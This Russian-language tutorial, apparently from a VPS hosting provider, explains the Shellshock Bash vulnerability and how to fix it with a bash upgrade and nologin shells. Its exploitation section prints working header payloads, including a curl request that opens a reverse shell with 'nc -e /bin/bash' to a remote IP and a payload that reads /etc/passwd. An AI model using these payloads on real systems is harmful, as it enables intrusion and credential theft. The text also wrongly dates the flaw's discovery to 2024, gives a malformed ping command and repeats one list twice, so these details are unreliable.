Материал подготовлен командой Simple-Server для администраторов VPS и выделенных серверов. Команды и пути проверяйте на тестовой машине перед production.
Принцип работы уязвимости Shellshock Bash
Как уже было сказано ранее, суть Shellshock Bash заключается в возможности удаленного выполнения произвольных команд на атакуемой системе. Причина возникновения данной уязвимости заключается в том, что Bash завершает обработку команд при импорте функций которые хранятся в переменной окружения среды. Иными словами, угроза заключается в возможности установки переменных окружения внутри интерпретатора Bash, в которых объявляются функции. Сама уязвимость возникает, когда Bash продолжает обрабатывать команды после объявления функции. В результате происходит атака с внедрением вредоносного кода. Рассмотрим уязвимость на конкретном примере:
http-header = Cookie:() { :; }; ping -c 192.168.36.136В данном примере мы определили HTTP запрос который состоит из функции, заданной при помощи символов () { :; }, а также содержит в себе команду интерпретатора — ping с указанным параметром в виде IP-адреса. Вместо команды ping можно подставить любую другую команду. В примере выше удаленная команда выполняет ping IP-адреса на удаленном хосте после объявления функции.
Также Shellshock Bash можно использовать в CGI скриптах:
curl -H "X-Frame-Options: () {:;};echo;/bin/nc -e /bin/bash 192.168.36.106 443" 192.168.x.y/CGI-bin/hello.cgi
curl --insecure 192.168.36.106 -H "User-Agent: () { :; }; /bin/cat /etc/passwd"Эксплуатировать Shellshock можно следующими способами:
-
Использование в скриптах Bash.
Переменные окружения могут быть встроены в скрипты Bash (файлы с расширением.sh). При выполнении скриптов Bash, интерпретатор выполнит значения, которые указаны в переменных окружения. -
Использование вредоносной веб-страницы.
В веб-страницу встраивается переменная окружения. Когда пользователь посещает веб-страницу, переменная окружения будет отправлена на веб-сервер, который выполнит произвольную команду. -
При отправке писем электронной почты.
Создается письмо, содержащее переменную окружения с необходимым содержимым. Когда пользователь откроет сообщение, переменная окружения будет отправлена почтовому клиенту, который выполнит произвольную команду.**
**
Использование в скриптах Bash.
Переменные окружения могут быть встроены в скрипты Bash (файлы с расширением .sh). При выполнении скриптов Bash, интерпретатор выполнит значения, которые указаны в переменных окружения.
Использование вредоносной веб-страницы.
В веб-страницу встраивается переменная окружения. Когда пользователь посещает веб-страницу, переменная окружения будет отправлена на веб-сервер, который выполнит произвольную команду.
При отправке писем электронной почты.
Создается письмо, содержащее переменную окружения с необходимым содержимым. Когда пользователь откроет сообщение, переменная окружения будет отправлена почтовому клиенту, который выполнит произвольную команду.**
**
Уязвимость Shellshock может использоваться в системах, на которых запущены службы или приложения, позволяющие неавторизованным удаленным пользователям использовать переменные среды Bash. К таким приложениям относятся:
-
Веб-серверы, которые поддерживают выполнение CGI скриптов
-
Серверы с установленным OpenSSH и с включенным параметром ForceCommand
-
DHCP-клиенты
Веб-серверы, которые поддерживают выполнение CGI скриптов
Серверы с установленным OpenSSH и с включенным параметром ForceCommand
Проверяем сервер на возможность использования Shellshock Bash
Для того чтобы проверить уязвима ли ваша версия Bash, в терминале необходимо выполнить следующую команду:
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"Если в ответ вернулось слово vulnerable, то ваша версия Bash является уязвимой, и вы подвержены Shellshock Bash. Если же в ответ вернулось сообщение this is a test, то ваша версия Bash уже содержит в себе необходимые исправления, и уязвимость Shellshock Bash вам не угрожает.
Далее разберём всевозможные способы по устранению и недопущению уязвимости Shellshock Bash.
Методы защиты от Shellshock Bash
Для того чтобы защитить ваш сервер от уязвимости Shellshock Bash, необходимо предпринять следующие шаги:
Самый простой и быстрый способ решения проблемы с Shellshock Bash. Для этого необходимо выполнить одну из следующих команд в зависимости от используемого дистрибутива Linux.
Для дистрибутивов на основе Debian (Ubuntu, Linux Mint, Xubuntu и других) команда будет следующей:
apt update && apt install --only-upgrade bashПосле того как ваша версия bash была успешно обновлена, необходимо воспроизвести уязвимость еще раз. Подробные действия указаны в предыдущей главе «Проверяем сервер на возможность использования Shellshock Bash».
- Запретить пользователям вход на сервер
В системах Linux многие программы создают своих пользователей и запускаются от имени созданных пользователей. Данным пользователям можно выключить возможность входа на сервер. Для этого существуют несколько способов.
При создании пользователя при помощи утилиты useradd (где web — имя создаваемого пользователя):
useradd -s /sbin/nologin webПри создании пользователя при помощи утилиты adduser (где web — имя создаваемого пользователя):
adduser --shell /sbin/nologin webДля отключения входа для уже существующего пользователя можно воспользоваться утилитой chsh (где web — имя ранее созданного пользователя):
chsh -s /sbin/nologin webСтоит отметить, что программа chsh присутствует не во всех дистрибутивах Linux.
Для отключения входа для уже существующего пользователя при помощи утилиты usermod (где web — имя ранее созданного пользователя):
usermod web -s /sbin/nologinВ этом материале мы разобрали уязвимость Shellshock Bash, а также рассмотрели методы защиты. Несмотря на то, что уязвимость Shellshock Bash была обнаружена в 2024 году, различные способы ее эксплуатации по-прежнему существуют. В этом туториале мы описали несколько способов, с помощью которых можно закрыть эту уязвимость.
Нужен сервер для практики? Закажите VPS на Simple-Server — root-доступ, NVMe, DDoS-защита и поддержка 24/7.